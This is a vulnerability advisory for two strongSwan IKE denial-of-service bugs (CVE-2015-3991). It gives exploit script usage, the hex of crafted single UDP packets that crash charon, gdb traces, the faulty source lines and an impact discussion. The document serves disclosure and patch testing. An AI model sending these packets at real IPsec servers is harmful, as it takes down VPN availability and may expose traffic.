strongSwan Denial of Service (multiple vulnerabilities)

by Javantea

Research: May 14, 2015
Published: June 1, 2015

strongSwan Exploit 0.2 [sig]

Related:
Security Advisory for Libreswan
Security Advisory for IPsec Tools
IKEv1 Fuzzer
IPsec Vulnerabilities and Software Security Prediction

Introduction

Two Denial of Service vulnerabilities were found on May 14th, 2015 in the latest versions of strongSwan. These vulnerabilities have been assigned CVE-2015-3991 for reference. The patch has been committed to git and 5.3.1 has been released. I am releasing the exploit so that people will be able to test their servers. It is also easy to generate this exploit using the tools I am releasing today which found these two vulnerabilities and two vulnerabilities in Libreswan (strongSwan's competitor). If you have access to test equipment that runs an IPsec server, you should run this fuzzer against it. If you are a security researcher with any interest in IPsec, you should improve this fuzzer, find bugs with it, and send a patch.

An independent researcher privately reported a denial-of-service and possible remote code execution vulnerability in strongSwan. Affected are strongSwan versions 5.2.2 and 5.3.0.
...
The bug can be triggered by an IKEv1 or IKEv2 message that contains payloads that are only defined for the respective other IKE version. For instance, sending an IKEv1 Main Mode message containing a payload with type 41 (IKEv2 Notify) will crash the daemon when a short summary of the contents of the message is logged ("parsed ID_PROT request 0 [ ... ]"). Other payload types may trigger crashes in other places.
weakSwan DoS Logo

Denial of Service in strongSwan get_string

Product: strongSwan 5.3.0, 5.2.2 and possibly other versions
Website: https://www.strongswan.org/
Github: https://github.com/strongswan/strongswan/
Type: Denial of Service (CWE-476)
Severity: Medium
CVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:N/A:C)

A single crafted UDP packet can crash charon, the IKE daemon from strongSwan. The daemon attempts to call a dynamic function which has null or a different pointer as its value. The impact of charon daemon crashing is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.

Demo

strongSwan Exploit 0.2 [sig]

Usage:

python strongswan_dos983.py 169.254.62.131

The single packet which causes this DoS to occur is below split into structures:
b9ce3eefc8b661dd00000000000000002910020000000000000000580000003c 000000010000000100000030010100010000002801010000800b0001000c00040001518080010007800e0100800300038002000280040005

What it looks like on the server:

sudo gdb /usr/libexec/ipsec/charon
...
(gdb) run --use-syslog
Starting program: /usr/libexec/ipsec/charon --use-syslog
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[New Thread 0x7ffff04a0700 (LWP 9264)]
[New Thread 0x7fffefc9f700 (LWP 9265)]
[New Thread 0x7fffef49e700 (LWP 9266)]
[New Thread 0x7fffeec9d700 (LWP 9267)]
[New Thread 0x7fffee49c700 (LWP 9268)]
[New Thread 0x7fffedc9b700 (LWP 9269)]
[New Thread 0x7fffed49a700 (LWP 9270)]
[New Thread 0x7fffecc99700 (LWP 9271)]
[New Thread 0x7fffec498700 (LWP 9272)]
[New Thread 0x7fffebc97700 (LWP 9273)]
[New Thread 0x7fffeb496700 (LWP 9274)]
[New Thread 0x7fffeac95700 (LWP 9275)]
[New Thread 0x7fffea494700 (LWP 9276)]
[New Thread 0x7fffe9c93700 (LWP 9277)]
[New Thread 0x7fffe9492700 (LWP 9278)]
[New Thread 0x7fffe8c91700 (LWP 9279)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff04a0700 (LWP 9264)]
0x0000000000000000 in ?? ()
(gdb) bt
#0  0x0000000000000000 in ?? ()
#1  0x00007ffff771561b in get_string (this=this@entry=0x7fffe0000fa0, 
    buf=buf@entry=0x7ffff049fa60 "ID_PROT request 0 [ N", len=490) at encoding/message.c:1313
#2  0x00007ffff771600c in parse_body (this=this@entry=0x7fffe0000fa0, keymat=0x7fffcc000f50) at encoding/message.c:2598
#3  0x00007ffff7748763 in parse_message (this=this@entry=0x7fffcc001350, msg=msg@entry=0x7fffe0000fa0)
    at sa/ikev1/task_manager_v1.c:1150
#4  0x00007ffff7748acb in process_message (this=0x7fffcc001350, msg=0x7fffe0000fa0) at sa/ikev1/task_manager_v1.c:1321
#5  0x00007ffff772a24f in process_message (this=0x7fffcc000a20, message=0x7fffe0000fa0) at sa/ike_sa.c:1361
#6  0x00007ffff7723eef in execute (this=0x7fffe0000900) at processing/jobs/process_message_job.c:74
#7  0x00007ffff7badda2 in process_job (worker=0x64e200, this=0x608120) at processing/processor.c:235
#8  process_jobs (worker=0x64e200) at processing/processor.c:321
#9  0x00007ffff7bbd3b4 in thread_main (this=0x64e230) at threading/thread.c:312
#10 0x00007ffff74ed3a4 in start_thread (arg=0x7ffff04a0700) at pthread_create.c:310
#11 0x00007ffff723482d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109

(gdb) set directories $cwd:$cdir:/home/jvoss/strongswan-5.2.2/src/libcharon/
(gdb) frame 1
#1  0x00007ffff771561b in get_string (this=this@entry=0x7fffe0000fa0, 
    buf=buf@entry=0x7ffff049fa60 "ID_PROT request 0 [ N", len=490) at encoding/message.c:1313
1313                            data = notify->get_notification_data(notify);
(gdb) list
1308                            notify_type_t type;
1309                            chunk_t data;
1310
1311                            notify = (notify_payload_t*)payload;
1312                            type = notify->get_notify_type(notify);
1313                            data = notify->get_notification_data(notify);
1314                            if (type == MS_NOTIFY_STATUS && data.len == 4)
1315                            {
1316                                    written = snprintf(pos, len, "(%N(%d))", notify_type_short_names,
1317                                                                       type, untoh32(data.ptr));

(gdb) i r
rax            0x0      0
rbx            0x1ea    490
rcx            0x0      0
rdx            0x7fffcc000058   140736615940184
rsi            0xffffffff       4294967295
rdi            0x7fffcc0031c0   140736615952832
rbp            0x7ffff049fa75   0x7ffff049fa75
rsp            0x7ffff049f920   0x7ffff049f920
r8             0x7ffff7758600   140737345062400
r9             0x7fffcc0031c0   140736615952832
r10            0x2      2
r11            0x7ffff049d6e8   140737224759016
r12            0x7fffcc0031c0   140736615952832
r13            0x0      0
r14            0x7ffff049fa50   140737224768080
r15            0x7ffff049f968   140737224767848
rip            0x7ffff771561b   0x7ffff771561b <get_string+875>
eflags         0x10206  [ PF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) disassemble 
Dump of assembler code for function get_string:
...
   0x00007ffff7715600 <+848>:   mov    0x40(%rsp),%r12
   0x00007ffff7715605 <+853>:   mov    %r12,%rdi
   0x00007ffff7715608 <+856>:   callq  *0x50(%r12)
   0x00007ffff771560d <+861>:   mov    %eax,%r13d
   0x00007ffff7715610 <+864>:   mov    %r12,%rdi
   0x00007ffff7715613 <+867>:   callq  *0x80(%r12)
=> 0x00007ffff771561b <+875>:   cmp    $0x3039,%r13d
   0x00007ffff7715622 <+882>:   jne    0x7ffff771562e <get_string+894>
   0x00007ffff7715624 <+884>:   cmp    $0x4,%rdx
   0x00007ffff7715628 <+888>:   je     0x7ffff77157f2 <get_string+1346>

(gdb) x/10gx $r12+0x80
0x7fffcc003240: 0x0000000000000000      0x0000000000000000
0x7fffcc003250: 0x0000000000000000      0x0000000000000000
0x7fffcc003260: 0x0000000000000000      0x0000000000000000
0x7fffcc003270: 0x0000000000000000      0x0000000000000000
0x7fffcc003280: 0x0000000000000000      0x0000000000000000
(gdb) print notify
$1 = (notify_payload_t *) 0x7fffcc0031c0
(gdb) print notify->get_notification_data 
$2 = (chunk_t (*)(notify_payload_t *)) 0x0

It's attempting to execute a function at null. This is not necessarily a null dereference. I have found the value to be many different values during my testing, which means that it is a random pointer depending on circumstance. This is by far the most dangerous denial of service because if the pointer was mapped with user data and executable, this would be a remote code execution vulnerability. The variable that is null is notify->get_notification_data.

Currently installed strongSwan: [ebuild R ] net-misc/strongswan-5.2.2::gentoo USE="caps constraints gmp non-root openssl pam strongswan_plugins_led strongswan_plugins_lookip strongswan_plugins_systime-fix strongswan_plugins_unity strongswan_plugins_vici -curl -debug -dhcp -eap -farp -gcrypt -ldap -mysql -networkmanager -pkcs11 -sqlite -strongswan_plugins_blowfish -strongswan_plugins_ccm -strongswan_plugins_ctr -strongswan_plugins_gcm -strongswan_plugins_ha -strongswan_plugins_ipseckey -strongswan_plugins_ntru -strongswan_plugins_padlock -strongswan_plugins_rdrand -strongswan_plugins_unbound -strongswan_plugins_whitelist" 0 KiB

Configuration only has one interesting thing in it...

config setup
        # strictcrlpolicy=yes
        # uniqueids = no

conn net-net
     left=%defaultroute
     leftsubnet=10.1.0.0/16
     leftcert=moonCert.pem
     right=169.254.44.43
     rightsubnet=10.2.0.0/16
     rightid="C=CH, O=Linux strongSwan, CN=sun.strongswan.org"
     auto=start

This configuration comes directly from the configuration howto on strongswan.org: https://www.strongswan.org/docs/readme4.htm#section_2.1

The Vulnerability

1311			notify = (notify_payload_t*)payload;
1312			type = notify->get_notify_type(notify);
1313			data = notify->get_notification_data(notify);

The vulnerability occurs on line 1313, but is caused by the cast on line 1311 which should not occur. If you are interested in understanding this bug look at the patch. Generally what is going on is object-oriented subclassing using C structs. What happens here when the attacker provides a bad packet is that the payload gets incorrectly cast into a struct which has get_notification_data which the correct payload type does not have. This is difficult for a person who hasn't written the code to understand.

Denial of Service in strongSwan decrypt_payloads

Product: strongSwan 5.3.0, 5.2.2 and possibly other versions
Website: https://www.strongswan.org/
Github: https://github.com/strongswan/strongswan/
Type: Denial of Service (CWE-476)
Severity: Medium
CVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:N/A:C)

A single crafted UDP packet can crash charon, the IKE daemon from strongSwan. The daemon attempts to call a dynamic function which has null or a different pointer as its value. The impact of charon daemon crashing is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.

Demo

strongSwan Exploit 0.2 [sig]

Usage:

python3 strongswan_dos1161.py 169.254.62.131

The single packet which causes this DoS to occur is below split into structures:
b9ce3eefc8b661dd00000000000000002e10020000000000000000580000003c 000000010000000100000030010100010000002801010000800b0001000c00040001518080010007800e0100800300038002000280040005

What it looks like on the server:

sudo gdb /usr/libexec/ipsec/charon
...
(gdb) run --use-syslog                 
Starting program: /usr/local/libexec/ipsec/charon --use-syslog
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[New Thread 0x7ffff2915700 (LWP 5826)]
[New Thread 0x7ffff2114700 (LWP 5827)]
[New Thread 0x7ffff1913700 (LWP 5828)]
[New Thread 0x7ffff1112700 (LWP 5829)]
[New Thread 0x7ffff0911700 (LWP 5830)]
[New Thread 0x7ffff0110700 (LWP 5831)]
[New Thread 0x7fffef90f700 (LWP 5832)]
[New Thread 0x7fffef10e700 (LWP 5833)]
[New Thread 0x7fffee90d700 (LWP 5834)]
[New Thread 0x7fffee10c700 (LWP 5835)]
[New Thread 0x7fffed90b700 (LWP 5836)]
[New Thread 0x7fffed10a700 (LWP 5837)]
[New Thread 0x7fffec909700 (LWP 5838)]
[New Thread 0x7fffec108700 (LWP 5839)]
[New Thread 0x7fffeb907700 (LWP 5840)]
[New Thread 0x7fffeb106700 (LWP 5841)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffef10e700 (LWP 5833)]
0x0000000000000261 in ?? ()
(gdb) bt
#0  0x0000000000000261 in ?? ()
#1  0x00007ffff771401f in decrypt_payloads (keymat=0x7fffd80011c0, this=0x7fffe0000c20) at encoding/message.c:2452
#2  parse_body (this=this@entry=0x7fffe0000c20, keymat=0x7fffd80011c0) at encoding/message.c:2585
#3  0x00007ffff77489d3 in parse_message (this=this@entry=0x7fffd8001470, msg=msg@entry=0x7fffe0000c20)
    at sa/ikev1/task_manager_v1.c:1150
#4  0x00007ffff7748d3b in process_message (this=0x7fffd8001470, msg=0x7fffe0000c20) at sa/ikev1/task_manager_v1.c:1321
#5  0x00007ffff7728c4f in process_message (this=0x7fffd8000a70, message=0x7fffe0000c20) at sa/ike_sa.c:1368
#6  0x00007ffff772248f in execute (this=0x7fffe0000ee0) at processing/jobs/process_message_job.c:74
#7  0x00007ffff7badec2 in process_job (worker=0x635640, this=0x608130) at processing/processor.c:235
#8  process_jobs (worker=0x635640) at processing/processor.c:321
#9  0x00007ffff7bbd674 in thread_main (this=0x635670) at threading/thread.c:312
#10 0x00007ffff71e83a4 in start_thread (arg=0x7fffef10e700) at pthread_create.c:310
#11 0x00007ffff6d2b82d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109

(gdb) set directories $cdir:$cwd:/home/jvoss/strongswan-5.2.2/src/libcharon/
(gdb) list
2447                                    encryption->destroy(encryption);
2448                                    status = VERIFY_ERROR;
2449                                    break;
2450                            }
2451                            status = decrypt_and_extract(this, keymat, previous, encryption);
2452                            encryption->destroy(encryption);
2453                            if (status != SUCCESS)
2454                            {
2455                                    break;
2456                            }
(gdb) print encryption
$1 = (encrypted_payload_t *) 0x7fffd8001bc0
(gdb) print encryption->destroy
$2 = (void (*)(encrypted_payload_t *)) 0x261

(gdb) disassemble
   0x00007ffff7715bbf <+863>:   xor    %eax,%eax
   0x00007ffff7715bc1 <+865>:   mov    %r8,%rdi
   0x00007ffff7715bc4 <+868>:   callq  *0x30(%r8)
   0x00007ffff7715bc8 <+872>:   mov    %r14,%rdi
   0x00007ffff7715bcb <+875>:   callq  *0x78(%r14)
=> 0x00007ffff7715bcf <+879>:   mov    %r15,%rdi
   0x00007ffff7715bd2 <+882>:   callq  *0x8(%r15)
   0x00007ffff7715bd6 <+886>:   mov    (%r12),%rax
   0x00007ffff7715bda <+890>:   lea    0x428aa(%rip),%rcx        # 0x7ffff775848b

(gdb) x/10gx $r14+0x60
0x7fffd8001c20: 0x003c000000000000      0x00007fffd8001960
0x7fffd8001c30: 0x0000000000000038      0x0000000000000261
0x7fffd8001c40: 0x00007fffd8000078      0x00007fffd8000078
0x7fffd8001c50: 0x00007fffd8001ea0      0x00007fffd8001ea0
0x7fffd8001c60: 0x00007fffd8001ea0      0x00007fffd8001ef2

On a different run:
(gdb) x/10gx $r14+0x60
0x7fffd00033f0: 0x003c000000000000      0x00007fffd0000f50
0x7fffd0003400: 0x0000000000000038      0x0000000000000065
0x7fffd0003410: 0x0000000000000000      0x30303a3731203431
0x7fffd0003420: 0x726168632037333a      0x455b3230203a6e6f
0x7fffd0003430: 0x6e756f66205d434e      0x707972636e652064

(gdb) x/12s 0x7fffd0003418
0x7fffd0003418: "14 17:00:37 charon: 02[ENC] found encrypted payload, but no transform set\n"

The configuration in this is the same as the previous vulnerability.

The Vulnerability

src/libcharon/encoding/message.c:2436

2436		if (type == PLV2_ENCRYPTED || type == PLV1_ENCRYPTED)
2437		{
2438			encrypted_payload_t *encryption;
2439
2440			DBG2(DBG_ENC, "found an encrypted payload");
2441			encryption = (encrypted_payload_t*)payload;
2442			this->payloads->remove_at(this->payloads, enumerator);
2443
2444			if (enumerator->enumerate(enumerator, NULL))
2445			{
2446				DBG1(DBG_ENC, "encrypted payload is not last payload");
2447				encryption->destroy(encryption);
2448				status = VERIFY_ERROR;
2449				break;
2450			}
2451			status = decrypt_and_extract(this, keymat, previous, encryption);
2452			encryption->destroy(encryption);
2453			if (status != SUCCESS)
2454			{
2455				break;
2456			}
2457			was_encrypted = "encrypted payload";
2458		}

The vulnerability occurs on line 2452 but occurs because of the cast made on 2441. The assumption that caused the program to make that cast was incorrect. Like the previous vulnerability, strongSwan assumes the subclass of payload which is incorrect. A check made here could fix the bug, but if you look at the patch you'll see that they fixed it by changing the method of subclassing so that they could verify their assumptions.

What it means

When the IKE daemon crashes, it may or may not be restarted.
If it is restarted, it gives the attacker as many attempts as they want to get the IKE daemon into the startup state. Result: unknown.
If it is not restarted, the keys do not get changed. When the IV gets repeated, the stream loses some confidentiality and integrity. Replay becomes easy. Result: possible compromise.
If the system decides that the two systems should no longer use IPsec, the system may revert back to IP silently. Result: possible complete compromise.
If the system decides to instead stop sending packets to the affected system, this becomes a denial of service. Result: complete availability compromise.

The most likely result is clearly the availability compromise. However, it is possible for the system to revert to IP silently which is by far the worst possible case scenario. Ubuntu and Gentoo by default do not restart the server, which leads to availability compromise for those systems that do not have keys exchanged and for any system that has keys exchanged, it will lead to an unknown result. The worst possible result for Ubuntu and Gentoo in their default configuration is possible compromise. However, since IPsec requires administrators to configure their systems, it is likely that many different configurations exist that do not conform to these assumptions.

When encryption is compromised, the layer below becomes available to the attacker. IPsec was designed to run over public networks, thus attackers are there.

An aside about Man-in-the-middle attacks: Man-in-the-middle attacks are not theoretical. It is practical and exploitable on WiFi (road-warrior use-case), corporate networks (flat topology corporation use-case), server racks (DMZ/segmented use-case), and backbone routers (ISP use-case).

I am not trying to be alarmist. The odds of someone compromising your entire corporate network based on this vulnerability are low. The main reason to upgrade is because the attacker can deny availability to your IPsec server and the result of this attack is not fully understood for every environment.

Many thanks to Andreas Steffen and the strongSwan team for a quick turnaround and a very well-informed discussion about the implications of these bugs. Their efforts ensured a smooth release of this information.

Conclusion

Two Denial of Service vulnerabilities were found on May 14th, 2015 in the latest versions of strongSwan. Exploits for these vulnerabilities are available. Upgrade as soon as possible. The most likely result of an attack is denial of service, but the result is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.